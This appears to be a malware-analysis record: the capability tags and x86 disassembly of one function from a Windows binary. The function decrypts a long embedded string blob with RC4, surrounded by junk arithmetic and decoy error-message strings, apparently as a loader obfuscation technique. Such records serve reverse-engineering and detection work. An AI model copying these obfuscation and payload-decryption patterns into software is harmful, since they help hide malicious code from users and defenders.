Function at 0x643c7a28
Capabilities:
Accept command line arguments
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0x1f
mov edx, str.The_operation_is_only_supported_on_mirrored_volumes.
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x137]
mov esi, str.A_breakpoint_has_been_reached.
push ebx
sub esp, 0x16c
mov eax, dword [0x643e7e20]
mov dword [ebp - 0x154], 0x825698a7
mov dword [ebp - 0x150], 0xb6a84bb2
rep movsb byte es:[edi], byte [esi]
and eax, 0x3ea58784
mov ecx, 0x1218
or eax, 0x16f5577b
xor eax, 0x51972d87
mov dword [0x643e7e20], eax
movsx eax, byte [edx]
inc edx
test al, al
je 0x643c7aae
add ecx, eax
cmp ecx, 0x1c72
jbe 0x643c7a7d
call fcn.643d1c54
or dword [0x643e7e20], 0x571f2dbb
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
sub eax, 0x3c482eba
mov dword [0x643e7e20], eax
mov eax, dword [0x643e7e20]
xor eax, 0xc0af555d
sub eax, 0x660785f3
mov dword [0x643e7e20], eax
call fcn.643cf804
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x643c7ac9
mov eax, dword [0x643e7e20]
xor esi, esi
xor ebx, ebx
sub eax, 0x49ab6404
and eax, 0x2ea23e2c
sub eax, 0x2ad5d9a
mov dword [0x643e7e20], eax
call fcn.643d1c54
xor dword [0x643e7e20], 0x91b38249
call fcn.643d4004
mov eax, ebx
mov edi, 0x1e
xor edx, edx
mov cl, byte [ebp + ebx - 0x118]
div edi
mov byte [ebp - 0x159], cl
movzx eax, byte [ebp + edx - 0x137]
movzx edx, cl
add eax, edx
add eax, esi
movzx esi, al
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov al, byte [ebp + esi - 0x118]
mov cl, byte [ebp - 0x159]
mov byte [ebp + ebx - 0x118], al
inc ebx
mov byte [ebp + esi - 0x118], cl
cmp ebx, 0x100
jne 0x643c7b09
xor eax, eax
cmp byte [eax + str.The_operation_is_only_supported_on_mirrored_volumes.], 0
je 0x643c7b7f
inc eax
cmp eax, 0x202a
jne 0x643c7b5f
call fcn.643cf804
or dword [0x643e7e20], 0x558ec8e
mov eax, dword [0x643e7e20]
xor edx, edx
sub eax, 0x5c95a538
and eax, 0x11e08ef3
mov dword [0x643e7e20], eax
cmp byte [edx + str.The_operation_is_only_supported_on_mirrored_volumes.], 0
je 0x643c7bb2
inc edx
cmp edx, 0x26e1
jne 0x643c7b95
imul eax, eax, 0xcd038ef3
mov dword [0x643e7e20], eax
mov eax, dword [0x643e7e20]
xor esi, esi
xor ebx, ebx
xor ecx, ecx
lea edi, [ebp - 0x14c]
and eax, 0xd624a55a
add eax, 0x5b5b5679
inc ecx
imul eax, eax, 0xc773c2e8
movzx ecx, cl
mov dl, byte [ebp + ecx - 0x118]
add ebx, edx
mov byte [ebp - 0x159], dl
movzx ebx, bl
mov dl, byte [ebp + ebx - 0x118]
mov byte [ebp + ecx - 0x118], dl
mov dl, byte [ebp - 0x159]
mov byte [ebp + ebx - 0x118], dl
add dl, byte [ebp + ecx - 0x118]
movzx edx, dl
mov dl, byte [ebp + edx - 0x118]
xor dl, byte [ebp + esi - 0x154]
inc esi
mov byte [esi + edi - 1], dl
cmp esi, 8
jne 0x643c7bcd
mov dword [ebp - 0x144], 0x52
xor edx, edx
mov ecx, 0x70
mov dword [ebp - 0x140], 0x2e
mov dword [ebp - 0x13c], 0xffffffe8
imul eax, eax, 0x4b0ebb23
sub ecx, dword [ebp + edx*4 - 0x144]
inc edx
and eax, 0xd2f5d0e
imul eax, eax, 0x9499d982
add eax, 0x38fb80f9
cmp edx, 3
jne 0x643c7c4b
mov dword [esp + 8], edi
mov dword [esp + 0xc], ecx
mov dword [esp + 4], 0x12f0
mov dword [esp], str.SreKzpyB9fCyZVrpoJryS2qYZ_rr0i8skCGqWS4R6QksRkEKqQS_EeLnZ4TbY59xVcNsIdWSsDDefLE0gX0kz2fb_NYGT1B6V4mVoK4rjr5Qk2byf3UzUPnPASZzPo4AU6HRpQGArAH2nVLohYZOqTvz7oY_FDp_Az6zR4oeLNRmiZsJ50vYfQ63fYgIwLf4w5iASg1MhS0iBum6qCHthlaH9E4orm2bHAe69jE311ZvrnXs6dAXixYm4CWwENyktVlScQcB4blTiuB151ogz5RyqZGeiQB5_EB41XFBNf1p0TcMtoY_0YGnwLnY8IpRTrcuhAd1tnmpKDbZaWmqhXpTL8M5LUl_eVNVJWG7edfzaUD3y2I7S0fJqru7g9k8ZYIPmHtmVVGDHVpky8OvPa08I5O1HDLUhspweJZjgCP8ty87iyCI6YnhD7NoscmVywmOAIK4rzxc0nZ1Nb3eGF761uHMvEogdo87gpdJ1NXWXNFp9kfSxYZ2OSRXh2aB3zcTYSrEiMLztIiNhom994dbBQQFKRlZsj6UvGzQHmCt2mIy83ogeTxuwhJ5CbScBLpHmkM_zaFW_oKlAFCC7vXYusdXGbgILDGupFEQatPTJpP5TNnFbWTjLEmVKAklST_ud0oQPhnEvHn5RqicmWM84IebutvqWg7iPPRZCMHTWKnQcWIE4zZxUNkllrSqL9oQtCiprhkRp0d4JUEKS9r4YYL_grJKQksIwiCHNo29DOq8gVvNY0k1rKGJf9zTnx7RC_i71Mh0lMApJs70jhtEjy97wIqHq63klLx6fjhS5GAQyabGxkwtBMyKV6p5Ro7vlrVKrW1aetwCF16Q4nblPaKDOkhx6ZLaQVRIwyxtPWqHGkZ00xuoxZDs8H7gbneyjUy7rHQpleUJFk2Fpxqd2BnVP_DNvkbCZ9XGdnpxakM18EJarwnfTGqtqc00ujS1nXXBpPJ6KVdGp3pFbVfgKQI8JKjqDrpJljC8t3B_KCv0AQSq6OPxJdaoRX_qwuqGHuAoPxiSebblx5R2yqyoGhGdQFAvPYdwJFByARJ5QAGgwsZzWii_AHA_MaDwFrU_V6HGlffHsL8z8XggmffAtGTFbo11YeHPy31aGiD0VwvboBDKIgNYoz2AN68G9RVNXN_xTl30hkblmhA8uSBCSWXQvDENhX4QEjspcxYmoCFeUX88DG8rMyV58pP3cDOaWxbEyB2vtCqHyO6EuaY3reZJwLvw1jG2_jQTtSELZTtW8BSdk51fMcbyiEivr6T2auO3YlG2S0W00Tfp_EQimpZPyev3cL8w7g7t6DTGnLcuRXTvzlV174Xn66zK1VAofaiia81DlOT65MyeKDZkNi5m_l4uRdmEiYP99LxQSa2Nf94KCeQa2ECltWRxQWTFg60fYJyKPAProo9zCEOTGevnImSJ6K06RNYXdGGrRGMmjCCzl75JnJxWQzSmST6lSFJhIaxmblb4v6x6aSv88X6JQbiENBDpmJIAZfs2_elTzfZu8HRehZ_Z9WVfDQs2Inv9C_nBLpA8WGKP5j3hR5DNkgnKivxxbV5eJ5nQLkBJylOlq5CdyX8NiSS4ZpQKbSytrHU8m3SUdjJILpfIJBiPCYgrtzMpoif7yTQ7QyFp7N27AL_KmhvdSd8TDOWb9ZGGpLIH1sBr64OYR15valDXnbWYtC8JlxPb2bZg9LB24VFO7s_7kUUikImkUqlq6ol5arSsISg8cTD3PN_FjzddRgjB45wAGYaWlW7oGiSMAo_YGztERkWBGNKezpGvkci2NnDrPW7bgPF4dor7f1fcZcDYZymoQEWvmMyHOi44mtVuPEdmHnLHW12mNEkBom_10XZzrOm4baizY8ggYLfhDg8fBKtOW_2u0A3wGJo7BLHDYjw5dq5EUuMRo0KmmGHKqQE8lQCofJ7BDH4If9pyrHqSP6OEG5pcOZ3hQbBygrIBCEa2r5z3yL9mjbPCJSGtwSTIug_sFy4LXEAQqOJEdlqoq6y9FSxAMv5lxd23dJERlXVdDrZNZiaKWqE9aKe9Q_CwQafBrlgF3pqbXylnC79LN3zdLjSzBv4yEauNuq_aBisnQXsgmDs7StPL9A2T0aBYprzFjhrX2ZLkZzrIn5FPW1x_tIFkan3bem_QvLHIGC4QvbEayDU_U1APYVR4nkHWlEDSPIuoBgWG5mlLuPfg5ieZ8ezufCsHOwd_iZ_nr47BX342dNxL64ncqDHXSIswmj5vmmFvxGbWIsMufKiLvUANF1DtkbzHtQX9rHxAjJquDBxSE2tT8QfKVQhUPIhvFmCkGh21Egq_WzsmGueS8JTAx7vN4kRQykGdLgdAdARP7rWroyl0FtIQY1TI64_XCpGQsyHfFwd7x3BOho6tXOavxO20KsGW8Q1sGrdlvRchnoG6FyBXFD76Jlf_xCGHNseeBMCtKvUfBmcX3w9FfNqqSnYTLF3JmPrmRriPUb_ovHfj5pmf6RXbQ2dkZZlSheAHzCizkDcpkK2Czdpn8XAVEPk7vj9wlVKrmkRa0qWmY92i0cdOeN4oShYsBYoBpZpSVPbf8o2vNh3pjvvER0b9Z3gt9lh8e41PdVcOanb6eM83R8nbTt_dsMj9BIax0DLWO2an_hcfYkKGW2rAk4ko8xJBS0luQdpTP7wCU8E8w7UM6rW0cnZKEgjkMLW2TIZn4YgV6IPYD5k6ViGAHV4sUtRrK_99e6juACEG4EbwMP6NGS_PpCU5qOSg0XOFam0TWehpZQtyQRgFmokPCv28YeEsggj3uRzKxGrhLcdSIXzUulA7rCgnvpEz49WCc6J5EGynT8NfeacZ5sfUDq92kXgu6lbpky7Dyobx_S4BB4dKbirYw0XJJMGj1es5wXe_fa3Nxo6xSoVMgntZ7cll0DNzfzbXxAFHqDSYHYXC2psBrkWTs7s2zTL0po_w_opuy3iCN9C16uQ3qL1oQ6naWVipIHhNQEdFKpPsXOrX9Il16PUeu3V02pLClcyj2z0jHMdY7uyzs4UuHUvkSdU3OvZbeE1KNHNLpqiHMTa4pZF3_NrFFLB2nrsIkmHCvZIXjnfoRmuddPsKX8MAjrHCxDfsAnMLdEHMQx1S47XqMjdUq16dfYShM8VZFbkk4nBMxsJdy7yFYjmbjl3lH7LiFRh952eV1lJRVSa9mCTJ_jnsecFCPKrbsd5PP7N7jgdzf3q6p_WQQOA6LYfwDWp9pGjluQlwNn7eGyK60XRZ7CYpFEA4qxL5e3oWOh9b8Om5EMFVSCoJT1slcj0D5TJvt9W6rWO5Nq7tx24eEuezmH1Tm7WCTosNZgqtoN4vV4DYJWfdE0_UBS4fbD27FbTHxYCF_OnypKXkOflvo_4DwBNXNJkKBWMgaEsOotbJTDY9IJ3DOQOZJmAGD4Im1szXqg3SeiK7CVZi9ALSsjZ4ow3uSacTmEeEe4qvDLA7bhKIymwRT53M1axHlw4auUtoKT41NNp4xinn8Ym5cJLFah05tY7arMzdUaOBmmxNWceWoDqQldj1S3f4LbjkWNLJAJYcMqwIABAB4RTb3O9UuHNtPShLWw2fCb0ETv6dlwVydefL8AQQSzYgi6nltjwbXBNAdhPJaksSfaQ3qfpAHefsmOaAT8J89GCrEKoOO_rbKTtq1GXWqCIKldCraq29CZkY5nMSZPqxuCoQiUzLAULlzVtw1i1hf9rhdnd5hy2Pfet3JSTZVDZSeQxvrA0sSveMrNPHwqfA4ET_Yaipgco1OCF44XcEZaZFTP8_3dKopulJdckUf3pSuFZGcxZX7G7GJJ5_Dswdqv_mV5SofPBjv2uOIeQnnfpjwLqczwbW8TXpyc7HoMoSMtY1Az8ktNBLbuRpT3D31CQP0NDTRfD_d0aBnJ3vz_sqMczPOaWaU5wpWyzQ_WqesWiKTLAOfebcvWs1yXVGgJiKDD2dwriq2ZrXfbEyeK6paDT8ks1wW7g1bX7uKutSwl83DS16YrMb1XBEtNl7thO7eqqURHJpgFHsY5
mov dword [0x643e7e20], eax
call fcn.643cb468
add esp, 0x16c
pop ebx
pop esi
pop edi
pop ebp
ret